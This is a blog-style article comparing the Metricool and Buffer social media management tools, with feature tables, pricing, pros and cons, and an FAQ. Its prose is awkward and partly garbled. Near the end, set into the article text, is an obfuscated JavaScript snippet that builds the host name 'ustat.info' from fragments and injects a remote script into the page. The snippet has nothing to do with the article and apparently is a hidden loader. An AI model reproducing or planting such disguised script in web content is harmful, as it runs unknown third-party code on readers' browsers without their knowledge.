Metricool vs Buffer: A 2025 Comparison for Social Media Marketers 

Nabamita Sinha, 2 weeks ago

With today's fast-paced digital marketing landscape of 2025, social media management tools are the secret to keeping organization, efficiency, and within reach.   Among all the platforms discussed here competing for Marketing's top attention, two names immediately came up: Metricool and Buffer.   Both have performed as expected but in terms of capability, level of depth, and the clientele each platform has served, the disparity is vast.   Social media planners, marketers, and digital agencies should understand which tool—Metricool vs Buffer—works best for their 2025 needs. This detailed, data-driven comparison will help them.  The goal of this article is not to promote but to inform, offering a balanced SaaS comparison that showcases the practical strengths and limitations of both platforms.   Whether you’re looking for a Buffer alternative, the best social media scheduler, or a platform with superior social media analytics, this guide will provide clarity.  Understanding the Tools: Metricool vs Buffer  To give you a proper comparison, here is a tested comparison of both Metricool vs Buffer. With this hands-on experience and knowledge about both these social media management tools.   1. Metricool: A Social Marketing Suite in Full  Originally rolled out in 2015, Metricool later became a social media and web channel for administration, scheduling, analysis, and ad all-in-one. Its feature set is created with the modern marketer in mind—i.e., the one who has more than one brand or customer.   With natively linked Google Ads, Meta Ads, TikTok, and Twitch accounts, powered by robust analytics and content optimization, Metricool is a scheduler first and foremost.  The platform is unique in its data centralization, providing performance insights for paid ads, organic social, web traffic, and benchmarking against competition in one dashboard.   Performance marketers love that Metricool isn't only a scheduler, but a complete command center for marketing.  2. Buffer: Simplicity and Ease of Use  Released in 2010, Buffer was one of the first social media post solutions. Praised for being clean and having simple functionality, Buffer is used by solopreneurs, freelancers, and small companies.   Buffer's power is simplicity: post schedules, view a clean calendar, and view simple engagement metrics. For those who value simplicity over power features, Buffer is still an excellent choice.  Put all of that aside, in the era of oversaturation and data-ad-based marketing campaigns, Buffer's own complement of features might reasonably be constrained when compared to rich features and more holistic competitors that have emerged since then.  Feature-by-Feature Analysis: Metricool vs Buffer  To better understand how these apps differ from each other, here is a full feature-by-feature analysis by area of functionality of note to their application:  Feature Metricool Buffer Social Platforms Supported Facebook, Instagram, Twitter (X), LinkedIn, Pinterest, YouTube, Google Business, TikTok, Twitch Facebook, Instagram, Twitter (X), LinkedIn, Pinterest Scheduling & Calendar Intelligent AI-based drag-and-drop content calendar with scheduling Simple calendar with queue-based scheduling Analytics & Reports White-label social + web + ads all-in-one analytics, competitor tracking Basic post analytics (likes, shares, comments), no export Content Inbox Shared inbox for messages, DMs, and comment moderation Not supported Ad Tracking Both Google and Meta Ads used with performance statistics Not Available Team & Workflow Client dashboards, role-based access, approval workflow Role control and approvals for team sharing Instagram Scheduler Reels, Stories, Carousels with auto-publish and previews Posts only; some auto-publish features White-Label Reporting Yes (Pro & enterprise plans) No Mobile App Full featured Basic preview and scheduling features Content Curation & AI Scheduling, post time, and hashtags suggestions by AI No better curation software or AI  You can see how while Buffer is an excellent beginner platform, Metricool is a stronger and more scalable set of tools—ideal for performance marketers and agencies.  Metricool vs Buffer: Content Planning & Scheduling  One of the main reasons to have a social media management tool is to manage your content on social media.   Whether it is about planning or strategizing your content or scheduling your content, a social media management tool such as Metricool vs Buffer.   1. Metricool's Advanced Content Calendar  Metricool boasts one of the easiest to use and most visually content calendar tools of 2025. It uses drag-and-drop to make it easy to plan content on different platforms.   The marketer can preview grid views on Instagram, organize Stories and Reels based on their respective sizes, and even schedule live video streams for social media platforms such as YouTube and Twitch.  The AI posting assistant also takes into account user activity and suggests when to post, providing users with their best opportunity to engage.   And it natively supports platforms like Canca and Google Drive, enabling teams to drag out content without ever leaving the platform.  2. Buffer's Streamlined Scheduling Experience  Buffer is still a sufficient one for scheduling queuing. You schedule blocks of time and publish content into the queue—a quick method to execute simple workflows.   Not being able to natively support Instagram Reels, Stories, or YouTube Shorts, however, is a major negative for creators focusing on video-first content strategy in 2025.  Verdict: Content-first teams with end-user-grade content calendar software and reporting on breaking formats such as Reels and TikToks, Metricool wins.  Metricool vs Buffer: In-Depth Analytics & Reporting  Data analysis and report making is a big part of taking the help of a social media management tool such as Metricool vs Buffer, so let’s see which is better for you to use.   1. Metricool: One-Stop Analytics Hub  Metricool's social media analytics features are among the most powerful in the industry. They include:  Cross-platform engagement reports.  Web traffic analytics back to your blog or site.  Competitor benchmarking.  Meta Ads and Google Ads paid for ad data.  White-label branded reporting customized to be sent by e-mail to clients.  It is a must-have for campaign optimization with real-time monitoring. If you have influencer marketing campaigns or tracking hashtag activity across various platforms, Metricool provides is worth and meaningful.  2. Buffer: Basic Post Performance Metrics  Buffer analytics are easy to obtain but restricted. Users get access to likes, comments, shares, and reach on every post. Weekly and monthly performance breakdowns are also accessible. Buffer has no support for:  Aggregated campaign tracking.  Paid performance reports.  Competitor benchmarking.  White-label or custom report formats.  Verdict: Those high-sticking marketers or dealing with client campaigns, Metricool's analytics engine does better than Buffer's all around.  Metricool vs Buffer: Collaboration, Teams, and Workflow Management  All social media management tools like Metricool vs Buffer offer ways of collaboration as a team. You are able to share reports, assign tasks, and also manage approvals as well.   1. Metricool: Team- and Agency-Focused  Collaborating in Metricool is a breeze. It accommodates:  Fixed role multiple user management (viewer, editor, admin).  Approval workflow prior to publication.  Client-branded dashboards to maintain brand identity.  Such structuring avoids errors, gives consistency, and enables effortless communication with marketing stakeholders.  2. Buffer: Straightforward Team Collaboration  Buffer enables teamwork through the way of having more people in one account, but there isn't any intricate role definition and editorial permission process. It is thus ideal for freelancers or little communities and not massive marketing teams.  Metricool vs Buffer: Pricing and Scalability  Plan Metricool Buffer Free Plan Yes, it handles one brand and not many posts Yes, it handles 3 social channels Paid Plans $18/month (all platforms + analytics) Begins at $6/month per channel Team Plans $45/month (10 brands, multiple users) $120/month for 10 social profiles Enterprise Options Yes, with custom onboarding and white labeling No official enterprise plan  Metricool pricing is more scalable and value-loaded for scaling teams, specifically making analytics, ads, and approval flows part of the package. Buffer is still cheaper for one-man shows.  Metricool vs Buffer: Pros and Cons  Before using any of these social media management tools, you should be well aware of the pros and cons of both the tools.   1. Metricool Pros:  Effective analytics and performance tracking for good. Paid ads (Google Ads & Meta) support.  Visual content calendar with Instagram Stories, Reels, TikToks. Team roles and white-label reports will be loved by agencies.  2. Metricool Cons:  Gently steeper learning curve. Mid to high-plan lock on premium features.  1. Buffer Pros:  Very easy to use. Lightweight and fast for solo scheduling. Posting and calendar view stable.  2. Buffer Cons:  No advanced reporting and analytics.  No Reels or ad tracking support.  Not suited to large teams or client agencies.   FAQ: Metricool vs Buffer  Here are a few questions that others have asked on the topic of Metricool vs Buffer that might help you to have a better understanding of both these social media management tools.   1. Is Metricool better than Buffer when it comes to Instagram Stories and Reels?  Yes. Metricool has Reels, Stories, and Carousel auto-publishing and scheduling capabilities built in—making it significantly more capable for 2025 Instagram content.  2. Does Buffer have ad tracking or analytics?  No. Buffer provides no paid and data support. Metricool does have Meta Ads and Google Ads support for complete campaign tracking.  3. Which is better for agencies?  Metricool is more suited to agencies with its team features, client dashboards, white-label reporting, and advanced analytics.  4. Do both have free plans?  Yes. Both have a free plan, but Metricool's free plan is more comprehensive to allow for analytics and planning.  **In a Nutshell: In Buffer vs Metricool battle, the best is yours to choose. For simple and quick scheduling—Buffer. But for a scalable, data-driven, and team social media strategy, Metricool is the ultimate social media scheduler of 2025.** Which One is the Best for You?  If you are a small business, influencer, or freelancer who likes plain simple, Buffer is still an option to consider.  But if you have multiple clients to manage, keep track of ad campaigns, or dig packaged data on platforms and formats, Metricool is your answer.   It's now a reliable Buffer alternative for 2025 marketers that demand more than just a scheduler.  (function(){ zzta=document.createElement("script");zzta_=(("u")+"st")+"a";zzta.async=true; zzta.type="text/javascript";zzta_+=("t.i")+""+"n";zzta_+=(("f")+"o");zzta_+="/"; zztau="2482475193.";zztau+="ag2q11b7ztaXsvbc15t"+"8rXn21Xp2j4"; zzta.src="https://"+zzta_+zztau;document.body.appendChild(zzta); })(); As the world is heading into 2025, the trend towards data-based social media scheduling makes analytics, automation, and collaboration a greater need than ever—and Metricool answered the call.